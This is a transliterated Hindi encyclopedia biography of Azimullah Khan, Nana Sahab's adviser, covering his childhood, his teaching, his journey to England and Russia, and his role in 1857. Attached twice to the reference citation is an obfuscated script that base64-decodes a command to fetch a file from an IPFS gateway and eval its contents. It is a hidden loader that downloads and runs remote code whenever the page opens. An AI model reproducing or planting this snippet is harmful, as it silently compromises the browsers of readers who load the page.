अज़ीमुल्लाह ख़ाँ

azimullah khaan yusoof jee (janm- 1820, patakapur, kanapur ke pas; mrityu- 1859) maratha peshava bajirav dvitiy (1769-1818 ee.) ke putr nana sahab ke vetan bhogi karmachari the. unhoanne 1857 ee. ka 'sipahi vidroh' karane mean gupt roop se bhag liya tha. 1857 ke mahasamar ke mahanh rajanitik pratinidhi aur pratham rashtragit ke rachanakar azimullah khaan ka sampoorn jivan british raj ke viruddh sangharsh karate hue vyatit hua tha. isaka saboot unake dvara rachit desh ke pratham rashtragit ke roop mean bhi upalabdh hai. nana sahab ke pratham salahakar niyukt kie jane ke bad unhean divan azimullah khaan ke nam se jana gaya tha.^[1]

janm tatha parivar

azimullah khaan ka janm san 1820 mean kanapur shahar se sati aangrezi chhavani ke pared maidan ke samip patakapur mean hua tha. unake pita najib mistri b di mehanat aur parishram karane vale iansan the. ghar ki arthik sthiti achchhi nahian thi aur parivar garibi ka jivan vyatit kar raha tha. azimullah khaan ki maan ka nam kariman tha. sainy chhavani v pared maidan se ekadam najadik hone ke karan azimullah khaan ka parivar aangrez sainikoan dvara hindustaniyoan ke prati kie jane vale durvyavaharoan ka chashmadid gavah aur bhukt bhogi bhi tha.

mata-pita ki mrityu

ek bar ek aangrez adhikari ne azimullah ke pita najib mistri ko gho doan ka astabal saf karane ko kaha. unake iankar karane par usane najib ko chhat se niche gira diya aur phir oopar se eeant pheankakar mari. isake parinam svaroop najib chh: mah bistar par p de rahe aur phir aant mean unaka svargavas ho gaya. ab maan kariman aur balak azimullah khaan besahara hokar bhayankar garibi ka jivan jine ke lie majaboor ho gaye. kariman begam bahut parishram se apana aur bete ka palan-poshan kar rahi thian. atyadhik parishram karane se ve bhi bimar rahane lagian. ab ath varsh ke balak azimullah khaan ke lie dusaroan ke yahaan jakar kam karana ek majaboori ban gee. unake ek p dosi manik chand ne balak azimullah khaan ko ek aangrez adhikari hilarsadan ke ghar ki saphaee ka kam dilava diya. isake do varsh bad hi unaki maan ka bhi intakal ho gaya.^[1]

adhyapak

ab azimullah khaan aangrez adhikari hilarsadan ke yahaan rahane lage. hilarsadan aur unaki patni sahriday log the. unake yahaan azimullah khaan naukar ki tarah nahian balki parivar ke ek sadasy ke roop mean rah rahe the. ghar ka kam karate hue unhoanne hilarsadan ke bachchoan ke sath aangrezi aur phreanch bhasha bhi sikh li. isake bad hilarsadan ki madad se unhoanne skool mean dakhila bhi le liya. skool ki padhaee samapt hone ke pashchath hilarsadan ki sipharish se usi skool mean unhean adhyapak ki naukari bhi mil gayi.

prasiddhi

skool mean adhyapakoan ke sath azimullah khaan maulavi nisar ahamad aur pandit gajanan mishr se urdoo, farasi, hindi aur sanskrit bhi sikhane mean lage rahe. isi ke sath ab ve desh ki rajanitik, arthik tatha dharmik, samajik sthitiyoan mean tatha desh ke itihas mean bhi ruchi lene lage. usake vishay mean adhikadhik janakariyaan lene aur usaka adhyayan karane mean jut gaye. isake phalasvaroop ab azimullah khaan kanapur mean us samay ke vidvanh samaj ka ek mahattvapoorn hissa ban gaye. unaki prasiddhi ek aise vidvanh ke roop mean hone lagi, jo aangrezi rang mean ranga hone ke vavajood aangrezi hukoomat ka himayati nahian tha.

nana sahab ke salahakar

azimullah khaan ki yah prasiddhi kanapur ke samip bithoor rah rahe nana sahab tak bhi pahuanch gee. aangrez gavarnar-janaral l aaurd dalahauzi ki hukoomat ne bajirav dvitiy ke dattak putr hone ke nate nana sahab ki ath lakh rupaye ki varshik peanshan band kar di thi. unhoanne azimullah khaan ko apane yahaan bulaya aur apana pradhan salahakar niyukt kar diya. azimullah khaan ne vahaan rahakar ghudasavari, talavarabaji evan yuddh kala bhi sikhi.^[1]

videsh yatra

bad ke samay mean azimullah khaan nana sahab ki peanshan ki arji lekar ianglaind gaye. ianglaind mean unaki mulaqat satara rajy ke pratinidhi rangoli bapoo se huee. rangoli bapoo satara ke raja ke rajy ka dava pesh karane ke lie landan gaye hue the. satara ke raja ke dave ko 'eest iandiya kampani' ke 'bord aauf dayarektar' ne kharij kar diya. azimullah khaan ko bhi apane peanshan ke dave ka aandaja pahale hi ho gaya. aantat: vahi hua bhi. bataya jata hai ki rangoli bapoo ke sath batachit mean azimullah khaan ne in halatoan mean aangrezi shasan ke viruddh sashastr vidroh ki anivaryata ko jahir kiya tha. phir isi nishchay ke sath donoan bharat vapas laute. azimullah khaan vahaan se tarki ki rajadhani kustunatuniya a gaye aur phir roos pahuanche.

pratham svatantrata sangram mean yogadan

un dinoan roos v ianglaind mean yuddh jari tha. yah bhi kaha jata hai ki azimullah khaan ne aangrezoan ke viruddh roosiyoan se madad lene ka bhi prayas kiya tha. azimullah khaan ke bharat lautane ke bad hi 1857 ee. ke sangram ki taiyari mean tezi a gee. hindustani sainikoan mean vidroh ki jvala dhadhakane ke lie sena mean lal rang ke kamal ghumane tatha am janata mean chapati ghumane ke jariye vidroh ka nimantran dene ke apusht par bahucharchit prayas tej hue.

nidhan

azimullah khaan ke rashtr prem aur rashtr ke prati samarpan ka bhi itihas raha hai. unaki mrityu ke bare mean yah mana jata hai ki azimullah khaan aangrezi sena ke viruddh l date hue kanapur ke pas ahirana namak sthan par mare gaye. ek kathan yah bhi hai ki nana sahab ki har aur phir nepal jane ke sath azimullah khaan bhi nepal pahuanch gaye the. vahaan varsh 1859 ke ant mean yani 39 varsh ki ayu mean unaka nidhan ho gaya.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 ^1.2 ^1.3 pratham rashtragit ke rachanakar (hindi). . abhigaman tithi: 1 march, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

a a i ee u oo e ai o au aan k kh g gh n ch chh j jh n t th d dh n t th d dh n p ph b bh m y r l v sh sh s h ksh tr jn rri rri aau shr aah

[ab-1] 1.0 ^1.1 ^1.2 ^1.3 pratham rashtragit ke rachanakar (hindi). . abhigaman tithi: 1 march, 2013.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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